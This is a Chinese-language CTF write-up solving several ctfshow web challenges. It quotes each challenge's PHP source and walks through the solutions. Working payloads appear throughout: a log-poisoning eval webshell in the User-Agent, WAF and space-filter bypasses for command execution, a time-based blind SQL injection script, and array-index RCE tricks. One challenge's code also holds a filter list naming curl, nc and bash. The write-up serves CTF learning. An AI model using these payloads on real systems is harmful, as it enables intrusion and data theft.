給你shell
這道題對我這個新手還是有難度的,花了不少時間。首先f12看源碼,看到?view_source,點進去看源碼
<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";if (isset($_GET['view_source'])) {show_source(__FILE__);die;
}function checkCookie($s) {$arr = explode(':', $s);if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {return true;} else {if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);return false;}
}function haveFun($_f_g) {$_g_r = 32;$_m_u = md5($_f_g);$_h_p = strtoupper($_m_u);for ($i = 0; $i < $_g_r; $i++) {$_i = substr($_h_p, $i, 1);$_i = ord($_i);print_r($_i & 0xC0);}die;
}isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');if ($obj && isset($_GET['give_me_shell'])) {($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}die;
代碼審計得后,先看函數?checkCookie($s),這個函數主要就是檢查cookie,將cookie分兩段,第一段必須是'{"secret"' ,第二段必須滿足正則只能含數字和大寫英文字母,后面就是設置和讀取cookie,初次訪問會設置默認值(md5('y1ng')
的大寫),若我們傳入cookie,就會進去下一步判斷,get傳參give_me_shell,我們設置的cookieJSON解碼后保存在$obj中,如果
$obj['secret'] == $flag_md5
相等得話就會回顯shell_path,否則調用haveFun()
函數。?由于不知道 flag,自然無法直接獲得 $flag_md5
。然后進入到haveFun()
函數,這個函數我也是研究了好長時間,好好分析一下
function haveFun($_f_g) {$_m_u = md5($_f_g);$_h_p = strtoupper($_m_u);for ($i = 0; $i < 32; $i++) {$_i = substr($_h_p, $i, 1);$_i = ord($_i);print_r($_i & 0xC0);}die;
}
首先是計算flagMD5大寫,然后是一個循環,每個字符轉ASCCII值,在與0xc0換位與
什么是0xc0
十六進制 | 二進制 |
---|---|
0xC0 | 11000000 |
?按位與
只保留 高兩位;
低六位全部設為 0。
$_i & 0xC0
這里舉個例子
字符 'A'
'A'
的 ASCII = 65(二進制 01000001
)
01000001 & 11000000 = 01000000
即 64
這是逐位比較,相同為1,不同為0,然后比較后的二進制轉為十進制。
字符范圍 | 對應 & 0xC0 |
---|---|
'0' ~'9' | 0 |
'A' ~'F' | 64 |
這個函數也是模糊泄露了flag。
我們先傳參得到一個32位字符串。
0006464640064064646464006406464064640064006400000000000
分析的前三位都是數字后幾位是字母,這里就可以利用php的弱比較。只需判斷前三位數字即可,這里直接爆破是不行的,因為cookie格式為{"secrert":"xxxxxx"},后面的值也是一個字符串,我們需要利用數字與字符串的弱比較繞過,傳入的cookie是{"secret":123},接下來爆破數字就行
?當數字是115爆破成功,訪問回顯路徑
得到代碼
<?php
error_reporting(0);
session_start();//there are some secret waf that you will never know, fuzz me if you can
require "hidden_filter.php";if (!$_SESSION['login'])die('<script>location.href=\'./index.php\'</script>');if (!isset($_GET['code'])) {show_source(__FILE__);exit();
} else {$code = $_GET['code'];if (!preg_match($secret_waf, $code)) {//清空session 從頭再來eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker} else die('hacker');
}/** When you feel that you are lost, do not give up, fight and move on.* Being a hacker is not easy, it requires effort and sacrifice.* But remember … we are legion!* ————Deep CTF 2020
*/
主要考察waf繞過和命令執行,由于我們不知道過濾了什么先進行fuzz測試一下,發現過濾了 f?
\ / | ; ' + ) ( * ^ $ ' ` " "基本有用的都過濾了。
在一個 PHP 代碼段中的最后一行可以不用分號結束,于是構造?><?來進行繞過,
?>提前結束原有的PHP上下文(前面的?eval()
?語句)。然后插入新的PHP代碼塊
<?= 相當于?<? echo。
?code=]=1?><?= 新代碼?>,
常用的函數基本都不能用了,而且f被過濾了,無法直接讀取flag文件,符號~可以將URL編碼取反,PHP中的函數urlencode可以將字符進行url編碼,利用這些特性,我們可以將命令進行url取反編碼,然后用~再取反,實現命令的注入,require和~之間不需要空格就可以執行,最終的payload
?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>
然后再根據提示訪問/flag
payload
?code=]=1?><?=require~%d0%99%93%9e%98?>
ALL_INFO_U_WANT
這種題我也是第一次見,flag文件里放的不是flag,啟動靶機后我還玩了一會魔方,沒看注釋,然后dirsearch掃一下發現備份文件,得到源碼
visit all_info_u_want.php and you will get all information you want= =Thinking that it may be difficult, i decided to show you the source code:<?php
error_reporting(0);//give you all information you want
if (isset($_GET['all_info_i_want'])) {phpinfo();
}if (isset($_GET['file'])) {$file = "/var/www/html/" . $_GET['file'];//really baby includeinclude($file);
}?>really really really baby challenge right?
根據提示先訪問all_info_u_want.php?all_info_i_want,拜讀大佬文章說open_basedir沒有設置,換句話,可以進行目錄穿越,訪問日志文件
?file=../../../../..//var/log/nginx/access.log
讓后在UA頭里執行命令。
?接下來就是找flag
大佬思路:
User Agent:
<?php eval($_POST[1]);?>
post:
1=system('find /etc -name "*" | xargs grep "ctfshow{"');
find /etc -name "*"
: 查找/etc目錄及其所有子目錄中的所有文件
| xargs grep "ctfshow{"
: 將找到的文件作為參數傳遞給grep,搜索包含"ctfshow{"字符串的內容
這樣就找到flag
WUSTCTF_樸實無華_Revenge
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);function isPalindrome($str){$len=strlen($str);$l=1;$k=intval($len/2)+1;for($j=0;$j<$k;$j++)if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {$l=0;break;}if ($l==1) return true;else return false;
}//level 1
if (isset($_GET['num'])){$num = $_GET['num'];$numPositve = intval($num);$numReverse = intval(strrev($num));if (preg_match('/[^0-9.-]/', $num)) {die("非洲歡迎你1");}if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系統中 intval()的上限不是2147483647 省省吧die("非洲歡迎你2");}if( $numPositve === $numReverse && !isPalindrome($num) ){echo "我不經意間看了看我的勞力士, 不是想看時間, 只是想不經意間, 讓你知道我過得比你好.</br>";}else{die("金錢解決不了窮人的本質問題");}
}else{die("去非洲吧");
}//level 2
if (isset($_GET['md5'])){$md5=$_GET['md5'];if ($md5==md5(md5($md5)))echo "想到這個CTFer拿到flag后, 感激涕零, 跑去東瀾岸, 找一家餐廳, 把廚師轟出去, 自己炒兩個拿手小菜, 倒一杯散裝白酒, 致富有道, 別學小暴.</br>";elsedie("我趕緊喊來我的酒肉朋友, 他打了個電話, 把他一家安排到了非洲");
}else{die("去非洲吧");
}//get flag
if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);$get_flag = str_ireplace("more", "36dCTFShow", $get_flag);$get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);$get_flag = str_ireplace("less", "36dCTFShow", $get_flag);$get_flag = str_ireplace("head", "36dCTFShow", $get_flag);$get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);$get_flag = str_ireplace("$", "36dCTFShow", $get_flag);$get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);$get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);$get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);$get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);$get_flag = str_ireplace("php", "36dCTFShow", $get_flag);echo "想到這里, 我充實而欣慰, 有錢人的快樂往往就是這么的樸實無華, 且枯燥.</br>";system($get_flag);}else{die("快到非洲了");}
}else{die("去非洲吧");
}
?>
去非洲吧
代碼審計題,題目定義了一個函數,用來判斷參數是否為回文,就是正著讀和反過來讀都一樣,比如‘12321’,就是回文。然后題目設置了三個關卡。
level 1
num
只能含數字、.
、-
。intval(num) == intval(strrev(num))
,即數字和其反轉相等。字符串本身不能是回文(但數字相等)。
繞過的方法有很多,比如‘0-’,‘0.00’都可以
level2
這考察雙重md5碰撞,這重在積累,payload
0e1576609003
0e1138100474
0e113810047
level3
這一關考察rce,過濾了空格和常用的函數符號,用%09或者<繞過空格就行了
ls%09/
nl%09/flag
最終的payload
?num=0.00&md5=0e1138100474&get_flag=nl%09/flag
WUSTCTF_樸實無華_Revenge_Revenge
這一題和上面的差不多,payload
?num=0.00&md5=0e1138100474&get_flag=ca\t%09flag.p\hp
Login_Only_For_36D
測試發現存在過濾,fuzz測試
過濾了 'select', 'information_schema', 'union', 'and', 'ascii', 'mid', 'substr', 'substring', 'handler', 'updatexml', 'update', '&', '|', "'", '--', '=', '<', '>', ' '
能用'table_name', 'table_schema', 'tables', 'column', 'or', 'sleep', 'where', 'from', 'limit', 'group', 'by', 'like', 'regexp', 'prepare', 'as', 'if', 'char', 'ord', 'length', 'left', 'right', 'extractvalue', 'benchmark', 'insert', 'all', 'for', '@', '#', '^', '*', '"', '~', '`', '(', ')', '{', '!', '/', '\\', '+', '%', '_', ','
這里參考大佬腳本
import requests
import time as turl = 'https://1509aa83-c3c4-4aee-a117-5d95de4fb8d5.challenge.ctf.show/index.php'
list_char = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
passwd = ''
# Disable SSL verification
requests.packages.urllib3.disable_warnings()# Time-based blind injection
# select * from user where username='admin\' and password='or if((password regexp binary "^passwd_part"),sleep(3),1)#'
# binary ensures case-sensitive matching
for i in range(16):for char in list_char:passwd_t = passwd + charpayload = 'or/**/if((password/**/regexp/**/binary/**/"^' + passwd_t + '"),sleep(2),1)#'data = {'username': 'admin\\','password': payload}try:start = t.time()requests.post(url, data=data, verify=False) ?# verify=False disables SSL verificationend = t.time()if end - start >= 2:passwd += charprint(f"Found character {i+1}: {passwd}")breakexcept requests.exceptions.RequestException as e:print(f"Request failed: {e}")continueprint(f"Final password: {passwd}")
得到密碼登錄即可,36d杯名不虛傳
你取吧
<?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {if (preg_match ('/' . $blacklisted . '/im', $code)) {die('nonono');}
}
eval("echo($code);");
?>
這過濾的比較干凈,但是可以利用題目中的數組執行命令
?code=`$_[12]$_[13] /*`? ? ? ? ?`nl /*`
?code=`$_[12]$_[13] /$_[5]$_[13]$_[0]$_[6]`? ? ?`nl /flag`
?code=1);$__=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11];$__("$_[12]$_[13] /$_[5]$_[13]$_[0]$_[6]");(1? ? ? ? 1);system("nl /flag");(1
還有無字母rce利用自增繞過,我嘗試沒有成功,我再去沉淀沉淀,,,